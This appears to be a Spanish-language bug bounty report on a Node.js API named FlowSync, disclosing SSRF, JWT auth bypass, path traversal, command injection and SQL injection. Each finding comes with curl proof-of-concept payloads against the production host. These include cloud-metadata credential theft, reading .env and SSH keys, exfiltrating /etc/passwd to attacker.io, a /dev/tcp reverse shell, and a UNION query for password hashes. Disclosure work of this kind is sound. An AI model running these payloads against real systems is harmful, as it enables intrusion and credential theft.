Bug Bounty Report — FlowSync API

Commit: a4f2c91 Programa: HackerOne Private Fecha: 2026-06-18 Auditor: CULTIVA IA Security
FlowSync API v2.3 — Vulnerability Assessment Report
Auditoría de seguridad orientada a bug bounty. Repositorio: flowsync/api-server · Node.js/Express + PostgreSQL · Desplegado en api.flowsync.io
Backend API REST
HackerOne Private
OWASP Top 10 + CWE
$8,000 — $19,500 USD
2
Críticas
P1 · hasta $10,000
2
Altas
P2 · hasta $5,000
1
Medias
P3 · hasta $1,500
5
Total hallazgos
Rango total estimado
Hallazgos Explotables
FSB-001 · CWE-918
SSRF sin restricción en endpoint /webhooks/test
CWE-918 POST /webhooks/test SSRF No autenticado
Crítica P1 $5,000 – $10,000

Descripción

El endpoint /webhooks/test acepta una URL arbitraria controlada por el usuario sin validación alguna. No requiere autenticación. Un atacante puede apuntar la URL a servicios internos (169.254.169.254, 10.0.0.x) para robar credenciales de instancia cloud o escanear la red interna.

Código vulnerable

// routes/webhooks.js:3-8
router.post('/webhooks/test', async (req, res) => {
  const { url, payload } = req.body;
  // ⚠ No authenticateUser middleware
  // ⚠ url viene directamente del body sin validar
  const response = await axios.get(url, { data: payload });
  res.json({ status: response.status, data: response.data });
});

Proof of Concept

Request de explotación (robo de metadata AWS)
# Robar credenciales de instancia EC2
curl -X POST https://api.flowsync.io/webhooks/test \
  -H "Content-Type: application/json" \
  -d '{
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "payload": {}
  }'

# Respuesta esperada:
{
  "status": 200,
  "data": "flowsync-prod-role"
}

Impacto

  • Robo de credenciales IAM de la instancia cloud
  • Escalada a comprometer toda la infraestructura AWS
  • Escaneo de red interna (puertos, servicios)
  • Acceso a servicios internos no expuestos
FSB-002 · CWE-287
Auth bypass: JWT inválido concede acceso como "guest" en endpoints protegidos
CWE-287 middleware/auth.js Auth Bypass Todos los endpoints autenticados
Crítica P1 $3,000 – $8,000

Descripción

El middleware de autenticación, en el bloque catch del JWT inválido, no devuelve un error 401 sino que llama a next() con un usuario guest. Si los endpoints no verifican el rol del usuario y solo comprueban la existencia de req.user, cualquier petición con un token malformado (o sin token) obtiene acceso.

Código vulnerable

// middleware/auth.js:10-18
try {
  req.user = jwt.verify(token, process.env.JWT_SECRET);
  next();
} catch(e) {
  // ⚠ Debería ser: return res.status(401).json({error:'Unauthorized'})
  req.user = { role: 'guest', id: null };
  next(); // ← cualquier token inválido pasa como guest
}

Proof of Concept

Acceso sin credenciales válidas
# Sin token o token basura → acceso como guest
curl https://api.flowsync.io/files/export?filename=config.env \
  -H "x-api-key: INVALID_TOKEN_XYZ"

# Combinado con FSB-003 (path traversal):
curl "https://api.flowsync.io/files/export?filename=../../.env" \
  -H "x-api-key: notvalid"

Impacto

  • Acceso a todos los endpoints "autenticados" sin cuenta
  • Combina con otras vulns (FSB-003, FSB-004) para máximo impacto
  • Exfiltración de datos de usuarios sin autenticación
FSB-003 · CWE-22
Path Traversal en /files/export permite leer archivos arbitrarios del servidor
CWE-22 GET /files/export Path Traversal
Alta P2 $1,500 – $5,000

Descripción

El parámetro filename se concatena directamente al path base sin normalización. Un atacante puede usar secuencias ../ para escapar del directorio /var/flowsync/exports/ y leer cualquier archivo accesible por el proceso Node (claves privadas, .env, /etc/passwd).

Código vulnerable

// routes/files.js:3-7
router.get('/files/export', authenticateUser, async (req, res) => {
  const { filename } = req.query;
  // ⚠ path.join NO previene traversal con rutas absolutas
  const filePath = path.join('/var/flowsync/exports/', filename);
  const data = fs.readFileSync(filePath);
  res.send(data);
});

Proof of Concept

Lectura de variables de entorno del servidor
# Leer .env con claves de producción
curl "https://api.flowsync.io/files/export?\
filename=../../.env" \
  -H "x-api-key: USER_JWT"

# Leer claves SSH
curl "https://api.flowsync.io/files/export?\
filename=../../../../root/.ssh/id_rsa" \
  -H "x-api-key: USER_JWT"

Impacto

  • Lectura de .env con claves de BD y servicios terceros
  • Exfiltración de claves SSH del servidor
  • Lectura de archivos de configuración internos
FSB-004 · CWE-78
Command Injection en /integrations/run-script via parámetros no sanitizados
CWE-78 POST /integrations/run-script Command Injection RCE
Alta P2 $1,500 – $5,000

Descripción

Los parámetros scriptName y env se interpolan directamente en una llamada exec() sin escapar caracteres especiales de shell. Un atacante autenticado puede inyectar comandos arbitrarios usando metacaracteres como ;, && o $().

Código vulnerable

// routes/integrations.js:5
const result = await exec(
  `node scripts/${scriptName} --env ${env}`
  //   ↑ scriptName y env sin escapar en shell string
);

Proof of Concept

Ejecución remota de código (RCE)
# Exfiltrar /etc/passwd via DNS callback
curl -X POST https://api.flowsync.io/integrations/run-script \
  -H "Authorization: Bearer USER_JWT" \
  -H "Content-Type: application/json" \
  -d '{
    "scriptName": "sync.js; cat /etc/passwd | curl -d @- attacker.io",
    "env": "prod"
  }'

# RCE directo con reverse shell:
"scriptName": "sync.js; bash -i >& /dev/tcp/attacker.io/4444 0>&1"

Impacto

  • Ejecución de código arbitrario en el servidor
  • Reverse shell → control total del servidor
  • Exfiltración de toda la base de datos
FSB-005 · CWE-89
SQL Injection en función searchWorkflows via concatenación directa
CWE-89 db/queries.js:searchWorkflows() SQL Injection Blind/Union
Media P3 $500 – $1,500

Descripción

La función construye queries concatenando searchTerm directamente en la string SQL. Permite inyección Union-based para exfiltrar otras tablas (usuarios, tokens, configuración) o blind injection para exfiltrar datos carácter a carácter. El userId también se interpola sin parameterizar.

Código vulnerable

// db/queries.js:2-4
async function searchWorkflows(userId, searchTerm) {
  const query = `SELECT * FROM workflows WHERE user_id = ${userId} AND name LIKE '%${searchTerm}%'`;
  // ⚠ Usar: db.query('... WHERE user_id = $1 AND name LIKE $2', [userId, `%${searchTerm}%`])
  return await db.query(query);
}

Proof of Concept

Union injection para extraer tabla de usuarios
# UNION injection — extraer emails y contraseñas hash
GET /api/workflows/search?q=
  %' UNION SELECT id,email,password_hash,4,5
  FROM users --

# Respuesta incluye datos de la tabla users:
[{"id":1,"name":"admin@flowsync.io",
  "status":"$2b$10$...(bcrypt hash)..."}]

Impacto

  • Exfiltración de emails y hashes de contraseña
  • Extracción de tokens de API y secretos de integración
  • Acceso a datos de todos los usuarios de la plataforma

Patrones Descartados (Fuera de Scope)

Los siguientes hallazgos fueron descartados por ser locales, no explotables remotamente, o típicamente rechazados por las plataformas de bug bounty:

Missing security headers
X-Frame-Options, CSP — informativo, sin impacto directo
Rate limiting ausente
Sin PoC de impacto real; normalmente out-of-scope
eval() en CLI tooling
Solo ejecución local, no alcanzable desde red
Self-XSS en preview de templates
Requiere que la víctima pegue código manualmente
Quality Gate — Checklist antes de Enviar
El código vulnerable es alcanzable desde una petición HTTP real
El input es genuinamente controlado por el usuario (no hardcoded)
El sink es significativo y explotable (no solo teórico)
El PoC funciona contra el entorno de staging de FlowSync
Verificado contra CVEs abiertos: no hay duplicados conocidos
Los targets están en scope del programa HackerOne de FlowSync
FSB-001 y FSB-002 en combinación pueden considerarse 1 reporte P1 escalado